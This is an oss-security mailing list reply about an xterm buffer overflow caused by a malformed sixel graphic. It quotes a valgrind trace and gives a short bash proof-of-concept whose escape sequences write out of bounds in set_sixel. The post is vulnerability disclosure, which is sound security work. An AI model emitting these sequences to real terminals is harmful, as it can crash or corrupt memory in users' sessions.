[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <st6m04$ked$1@ciao.gmane.io>
Date: Sun, 30 Jan 2022 18:39:01 -0000 (UTC)
From: Tavis Ormandy <taviso@...il.com>
To: oss-security@...ts.openwall.com
Subject: Re: xterm buffer overflow via crafted sixel
On 2022-01-30, nick black wrote:
> an error of mine own led to emission of a corrupted sixel [0], and
> spectacular gyrations from XTerm:
>
>==1426124== Invalid write of size 2
>==1426124== at 0x193FF1: set_sixel (graphics_sixel.c:181)
>==1426124== by 0x1949E1: parse_sixel (graphics_sixel.c:534)
>==1426124== by 0x17203D: do_dcs (misc.c:4973)
>==1426124== by 0x149E03: doparsing.constprop.0 (charproc.c:4224)
>==1426124== by 0x14B383: VTparse (charproc.c:5183)
>==1426124== by 0x14B670: VTRun (charproc.c:8163)
>==1426124== by 0x12DC49: main (main.c:2911)
>==1426124== Address 0xffffffff0941efb8 is not stack'd, malloc'd or (recently) free'd
>==1426124==
I can repro here, here is a testcase:
#!/bin/bash
printf "\ePq"
printf "#%hhu;2;%hhu;%hhu;%hhu" 0x41 100 100 100
printf "#%hhu!%u@" 0x41 0x7fffffff
printf "#%hhu!%u@" 0x41 0x7fffffff
printf "\e\\"
That should wrap context->col, and write a 'A' to graphic->pixels oob in
set_sixel.
I use `XTerm*decTerminalID: vt382` in .Xresources, not sure if that matters.
Tavis.
--
_o) $ lynx lock.cmpxchg8b.com
/\\ _o) _o) $ finger taviso@....org
_\_V _( ) _( ) @taviso
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
